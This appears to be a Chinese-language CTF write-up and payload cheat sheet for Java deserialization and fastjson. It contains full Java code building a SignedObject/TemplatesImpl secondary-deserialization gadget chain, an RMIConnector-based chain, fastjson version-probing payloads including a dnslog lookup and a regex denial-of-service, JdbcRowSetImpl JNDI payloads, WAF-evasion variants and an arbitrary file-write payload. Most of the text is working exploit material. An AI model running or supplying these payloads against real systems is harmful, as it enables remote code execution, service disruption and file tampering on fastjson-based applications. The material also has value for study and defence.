private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");
解决方法 (二次反序列化)
二次反序列化条件:触发SignedObject#getObject
JsonObject#toString
可以触发任意getter
方法,而toString
又可以通过BadAttributeValueExpException#readObject
调用,因此整条链子就通了
* 绕过第一次的TemplatesImpl黑名单检查
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
* 二次反序列化
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
看完gadget思路就很清晰了
package fj;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
public class dou_rev {
public static void main(String[] args) throws Exception {
ArrayList<Object> list = new ArrayList<>();
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
list.add(templatesimpl);
JSONArray jo = new JSONArray();
jo.add(templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jo);
list.add(exp);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));
//触发SignedObject#getObject
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
val.set(bd1,jsonArray1);
System.out.println(serial(bd1));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
预期解
mybean 放在 JSONObject 当中就不会走题目自定义的 resolveClass,从而绕过黑名单
private JMXConnector conn;
public String getConnect() throws IOException {
try {
this.conn.connect();
return "success";
} catch (IOException var2) {
return "fail";
}
}
可以用JMXConnector
的connect
方法
思路就是fastjson#toString
后到mybean
调用getter
,把当中的conn
设置为RMIConnector
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + "base64");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean("1","2",rmiConnector);
// JSONArray jsonArray = new JSONArray();
// jsonArray.add(myBean);
JSONObject jsonObject = new JSONObject();
jsonObject.put("name",myBean);
BadAttributeValueExpException bd= new BadAttributeValueExpException(null);
setFieldValue(bd, "val", jsonObject);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(bd);
//获取base64的arraylist
String baseStr = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(baseStr);
判断版本的方法
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA
{"pageNumber":1,"pageSize":1}
加上一个不相关的键值
{"pageNumber":1,"pageSize":1,"test":1}
jackson就会报错,fastjson则不会,而是和之前一模一样。
比如经典的1.2.24-1.2.83都会有dnslog的payload。
{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}
比如浅蓝发现的1.2.36-1.2.62正则DDOS。
逐步加a,直到延迟为止
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
有报错信息,判断版本号
{"@type":"java.lang.AutoCloseable"
a
["test":1]
无报错信息,判断版本号
<1.2.24,没有任何限制。
1.2.24-1.2.47,java.lang.Class绕过。
1.2.48-1.2.68,java.lang.AutoCloseable绕过。
1.2.70-1.2.72,无链版本
1.2.73-1.2.80,java.lang.Exception绕过。
1.2.83,无漏洞版本
比如正常一个json传参。
{"page":{"pageNumber":1,"pageSize":1}}
fastjson允许不存在的键值,所以插入dnslog,payload。
{"page":{"pageNumber":1,"pageSize":1,{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}}}
我们要做的就是将以下payload插入正常json传参即可
1.2.24 1.2.83
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
1.2.24-1.2.68
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
1.2.24-1.2.47 (经典)
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}
fastjson绕waf的骚操作
添加空白字符
默认会去除键、值外的空格、\b
、\n
、\r
、\f
等
添加多个逗号
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true}
@type后的值第一个引号可以替换为其他字符
{"@type":xcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
编码绕过(Unicode/Hex)
对字段添加多个下划线或者减号
1.2.36版本前 (要么都用下划线,要么都用减号)
{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
1.2.36版本及以后 (下划线、减号混用)
{"@type":"..","n_-ame":"y4"}
1.2.36版本后可以对属性前添加is
{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","isdataSourceName": "rmi://127.0.0.1:1099/Exploit","isautoCommit": true}}
fastjson1.2.68 存在任意文件写入
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}